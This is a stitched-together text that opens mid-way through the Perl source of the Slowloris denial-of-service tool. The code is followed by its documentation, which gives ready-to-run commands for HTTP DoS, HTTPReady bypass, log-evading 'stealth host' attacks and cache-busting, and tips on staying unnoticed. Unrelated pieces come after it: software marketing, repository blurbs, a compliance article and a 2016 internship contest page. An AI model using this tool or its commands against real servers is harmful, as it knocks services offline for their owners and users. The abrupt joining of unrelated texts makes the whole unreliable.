= 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r\n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } } __END__ =head1 TITLE Slowloris =head1 VERSION Version 0.7 Beta =head1 DATE 06/17/2009 =head1 AUTHOR RSnake <h@ckers.org> with threading from John Kinsella =head1 ABSTRACT Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons. =head1 AFFECTS Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...? =head1 NOT AFFECTED IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...? =head1 DESCRIPTION Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well. As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood. =head2 Testing If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing: =head3 Testing Example: ./slowloris.pl -dns www.example.com -port 80 -test This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing). =head2 HTTP DoS Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though. =head3 HTTP DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 =head2 HTTPReady Bypass HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. =head3 HTTPReady Bypass Example ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready =head2 Stealth Host DoS If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately. =head3 Stealth Host DoS Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com =head2 HTTPS DoS Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary. =head3 HTTPS DoS Example: ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https =head2 HTTP Cache Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary. =head3 HTTP Cache Example: ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache =head1 Issues Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture. For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD. Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too. =head1 What is a slow loris? What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:

Operations research is a scientific approach to decision making that seeks to best design and operate a system, under conditions requiring the allocation of scarce resources.

This script automates the installation of ERPNext, a powerful open-source ERP system, while applying best practices and performance optimizations tailored to your server's resources. It is designed to simplify the setup process, ensuring a smooth and efficient deployment of ERPNext on Ubuntu or Debian systems.

Aim of this system is to shortlist required expert candidates in multiple business sectors and organizations. The system also helps to reduce workload of the human resources department. A right candidate for the desired job position can be shortlisted through this system. Recruiter can easily shortlist a candidate based on their online test marks and select the appropriate candidate for particular job profile. This will enable a more effective way to short list submitted candidate resumes from a large number of applicants providing a consistent and fair CV ranking policy. With the help of Neuro-Fuzzy logic, the goal can be achieved with more efficiency and less time. It is a combination of neural network and fuzzy logic. Fuzzy Logic is an approach to variable processing that allows for multiple values to be processed through the same variable. Fuzzy logic attempts to solve problems with an open, imprecise spectrum of data that makes it possible to obtain an array of accurate conclusions. Fuzzy logic is designed to solve problems by considering all available information and making the best possible decision given the input. Fuzzy logic develops itself from previous experiences and provides more accurate results than the previous ones. The system is a web application which consists user logins and admin logins. With the help of this user can store one’s information and apply for jobs. Recruiter can post job positions and design tests as per the required skill sets. And can shortlist the best candidate .

Fleet Management Software Fleet Management Software enables the fleet manager to perform a number of specific tasks related to the management of various aspects of a logistics fleet of vehicles. These specific tasks encompass all operational processes, from vehicle acquisition to disposal. With Fleet Management Software, you can also ensure the complete safety and security of your drivers by tracking their location in real-time. The primary function of fleet management software is to collect and store information, process and monitor it, and report the exported information. It can provide remote control features, such as Geo-fencing, vehicle location tracking, route optimization, status updates from drivers, fuel monitoring, and speed management. Fleet Management Software enables fleet operators with a higher amount of information available to both drivers and dispatchers of a fleet. Why Use Fleet Management Software? Fleet Management Software offers many advantages, including real-time visibility into fleet location and performance, cost analysis, and improved driving behavior. Using Best Fleet management software reduces overhead, maintenance, and increases productivity. Its simple interface and customized features help all businesses in making the best use of resources, resulting in smooth shipment operations. The use of fleet management software enables the user to gain access to a larger market. It serves as a platform for easy communication with all parties involved in various shipments. The best fleet management software provides small/medium/large businesses a single window to efficiently use vehicles/fuel/drivers to gain higher benefits and ROI. Modern fleet management software goes beyond location tracking by offering insight into vehicle performance and efficiency, presenting data in a way business can easily understand. The technology helps support proactive maintenance efforts, allowing fleet managers to get the most out of their assets by implementing preventative maintenance schedules. Many businesses also use mobile apps that enable instant data transfer and accessibility, allowing them to quickly identify issues that may have gone unnoticed or turned into larger problems. Fleet management software also offers you an integration facility to get a clear picture of your business operations and expenses, including those of your driver’s information. That can help you decide which drivers are working well, and who needs improvements. Logistics and fleet management software is one of the businesses that include complex operational elements. It is used for cost management, fuel management, and increasing fleet productivity. It will help business owners who wish to expand their operations in keeping their software up to date with the latest technology. Fleet management software allows fleet managers to easily calculate fuel efficiency and optimized fuel consumption ratios, which can help you save a lot of money. Flexibility and Customization – These days the software can be customized based on the needs of the business and the goal that the software is intended to achieve. However, with the increase in demand and profits, the software can be further customized to meet the changing needs of the business. Increasing the number of cars, purchasing new vehicles, changes in the reporting pattern, and handling bulk data for new orders are all simple tasks that can be accomplished with effective fleet management software. How MartPro Fleet Management Software Solutions Empower Business Decisions? MartPro is a web-based fleet management software designed to deliver highly efficient supply chain operations. Whether it’s a last-mile or first-mile operation, it can cater to general, special, or bulk haul. Fleet management software is a standalone application that helps businesses maintain optimal use of their work vehicles. Our fleet management software offers proven benefits to all parties in multiple ways; for the logistics provider, it is improved productivity, reduction in fuel consumption, time and man force requirement, for the customer, it is the assured timely delivery, and for the drivers, it is time and energy saving in terms of short and viable routes. MartPro enables e-commerce-focused logistics providers to manage last-mile delivery by providing complete visibility and real-time updates to dispatchers, drivers, and customers. The Fleet management module in MartPro Logistics Management Software provides significant benefits to all parties involved in the transportation industry. The demand for fleet management software is rapidly increasing due to the fact that transportation and logistics form the key factor of all business operations. The fleet management software is a rapidly evolving technology designed for those aiming to achieve specific goals. The fleet management system solves the issue of ineffective fleet management. Our solutions are constantly evolving in order to help our clients’ businesses perform better. Our cutting-edge technology can help your business become better organized and obtain greater efficiency. For more details, Please visit our website: https://www.martpro.net/fleet-management-software

Key#1: Understand the regulations that pertain to your industry and your business throughout each level and function of your organization This is more difficult than it appears because Federal Regulations are simply not prescriptive and that is by design. 21CFR 820 Medical Device QSR for example, must be applicable to both manufacturers of small surgical instruments as well as manufacturers of MRI devices requiring that the regulations be sufficiently vague and flexible to pertain to each product. At the end of the day, it is the responsibility of every regulated organization to interpret those governing regulations as they pertain to the company's unique product and processes and apply those interpretations throughout the organization. In most cases, this will require the assistance of outside industry and regulatory experts to make these interpretations and the case for the direction that the company chooses to go. Certainly the most simplistic solution to achieving compliance excellence is "to do the right things right!" But what does this really mean? I have distilled the "doing the right things right" solution into 7 separate individual keys or actions that will provide a solid foundation for the establishment of any compliance program. Key#2: Define your critical processes relative to the regulatory path that has been chosen. Many organizations do not adequately define their processes After choosing a regulatory path, complete and thorough process definitions that are foundational to the business must be developed and validated with linkage to the governing regulations. These process definitions are the first rung on the ladder, the "50,000 ft. view," the genesis of the operational and regulatory paradigms that will form the structure of how the business will be run in an efficient, effective, and compliant manner. Key#3: Develop sound regulatory documentation Documentation should not simply meet a regulatory requirement but be designed to effectively direct operations, be foundational to a comprehensive worker training approach, and serve as the basis for a sound continuous improvement process. Key#4: Harmonize your processes and procedures between plants Inconsistency between operations although not necessarily a problem are cause for concern when those inconsistencies are uncovered during an inspection or investigation. Best practices should be determined for "like" operations, equipment, processes, etc. and then implemented across all facilities and locations where those "like" operations exist. Key#5: Commit to and execute comprehensive technical training. Competence is the prerequisite to competition and compliance "Read and Understand" the most basic of approaches used to transfer "knowledge and skill" in the life sciences today simply does not work. If your goal is to just meet a regulatory requirement, this is as far as you need to go - buy an LMS, build the most basic of technical documentation, assign document readings, roll the regulatory inspection dice, and you are good to go. If your goal, on the other hand, is to create an organization that meets or exceeds your regulatory responsibilities, demonstrates operational excellence, develops and deploys superior competence, and truly demonstrates the attributes of a learning organization, you must invest in training infrastructure, organizationally support training, provide training a seat at the operations and regulatory tables and include the function in the decision-making and advisory processes, and consistently execute an effective training process for both new and existing human resources. Key#6: Institute a sound and effective complaint and investigations handling process : Looking at a history of 483 observations and warning letters will tell you that CAPA deficiencies uncovered during FDA investigations consistently rank in the top three of the reasons for triggering a 483 warning letter. It is essential that CAPA systems and processes be fully integrated with corporate strategies and policies and there be a commitment up and down the organizational structure to fully execute the process. Key#7: Manage performance up and down the line to the performance structure created. If it is not managed it will not be performed Junior level managers and supervisors and the workforce in-general for that matter, must never be given cause to think that circumventing or ignoring a process or a step to a procedure is acceptable behavior even if it impacts throughput, schedules, or the "bottom-line." The risks to patient and end-user health and safety are simply too great. Regulatory compliance must be sacrosanct and an enforceable component of the performance management system. That message must be sent and received throughout the organization. The intent of this approach is to demonstrate linkage between each level beginning with the regulatory requirements themselves through regulatory documentation, through the training process, ending ultimately with the management of individual human performance.....https://www.complyarena.com/articledetails/39

TerraVPC is a Terraform module-based infrastructure that creates a VPC with associated resources in AWS. This setup is designed with best practices in mind, ensuring each component's security and scalability. The modular approach makes it easy to customize and extend for various environments, from development sandboxes to production systems.

A curated map of the best developer resources—coding interviews, system design, projects, JavaScript, AI/ML, and free programming books—all in one place.

The "alx-system_engineering-devops" repository is a collection of code and resources aimed at providing a comprehensive overview of system engineering and DevOps practices. This repository is designed to help learners understand and implement best practices in system administration, infrastructure management, automation, and DevOps methodologies.

Stutern logo white Pricing Internships Account Back Application History Thumb img 20161102 071853 Back View Profile Edit Profile Settings Sign Out Time Left 10 hours and 29 minutes Reward: N50,000 Start Date: Oct 24, 2016 12:00 PM End Date: Nov 06, 2016 11:59 PM Registrants: 33 Submissions: 0 Resources: Geek Train Tracking App: Android Internship Contest by Connect Rails Submit CHALLENGE Build a native Android Train Tracking App. You may use publicly available APIs to do this such as Firebase, Google Maps, Parse , UBER. To get started, check out the 'Resources' section. TECHNOLOGY Native Android App (Android Studio and SDK is preferred,) REWARD 3 - 6 months paid internship with a probable full-time opportunity. BACKGROUND This challenge is sponsored by ConnectRail Services. ConnectRail is a Nigerian rail haulage, infrastructure and logistics support firm with an established working relationship with the Nigerian Railway Corporation, to provide rail freight/haulage and logistic support services to businesses in Nigeria seeking to move goods by rail. We are on a mission to improve rail freight competitiveness by reducing turnaround time and operating cost. In September 2016, It was all over African news media as it was historic that ConnectRail transported 500 cows from Gusau, Zamfara State of Nigeria over a 1,000 km to Lagos State in a record of 36 hours. Which was hours ahead of the usual schedule. In the light of this, we want an intern to develop a mobile tracking app to monitor our haulage system. We are eager to see what you can invent. We will award exciting prizes to the best submission. We anticipate solutions that will surprise, delight, and engage with African users in a productive and yet simple way. The winner will receive a cash award of N50,000, a 3 to 6 month paid internship at Connect Rail, an opportunity for full-time employment and other perks. REWARD N50,000 Cash Award Opportunity to join Connect Rail full time. 24x7 Dedicated Internet and Power. Professional & Career Mentorship RESOURCES See below links to documentation on publicly available APIs that you may use in building the app: Firebase Google Maps Uber Parse We may introduce additional resources to mix things up a bit during the challenge period, so make sure to follow us on Twitter: @stutern APP REQUIRMENTS Through the simple mobile application: Monitoring officers should be able to record the loading, unloading, trip-up and trip-down timelines for haulages. The data provided by all monitoring officer should be fed into a cloud based data bank. The system should be able to generate notifications after each process have being concluded. The admin and client should have a GPS based real time location on Google Maps of the trip. The database can be queried/structured to generate reports and graphs. The system should have a GPS based real time location tracking ability on Google Map for the trips. The system should have the ability to tap into APIs of enterprise systems e.g. SAP We want the UX to be very simple and user-friendly. The fewest number of steps needed to do an action. SUBMISSION INSTRUCTION Click the registration button at the top of this page. Once registered, you will be redirected back to this page with a submit button. Click the submit button at the top of the page. Submit URL of App Submit URL of your App’s Github repository JUDGING CRITERIA All entries will be judged using the following criteria: Features and functionality Code structure and organization User experience and design Good command of APIs Problem solving methodology Android platform only 100% original work of the developer Clarity in report generation ELIGIBILITY CRITERIA Walk through the Challenge Rules to confirm you meet all eligibility requirements. Register for this competition and follow twitter accounts: @stutern Submit a valid entry before deadline Confirm immediate availability for an “Andriod Developer Intern” role at Connect Rail Services Have no criminal record or pending lawsuit WINNER SELECTION Winners are selected by the client and are chosen solely at the client's discretion. Judges are teams from Connect Rails, Stutern and Andela. About Stutern © 2016. All Rights Reserved. Privacy Policy | Terms of Use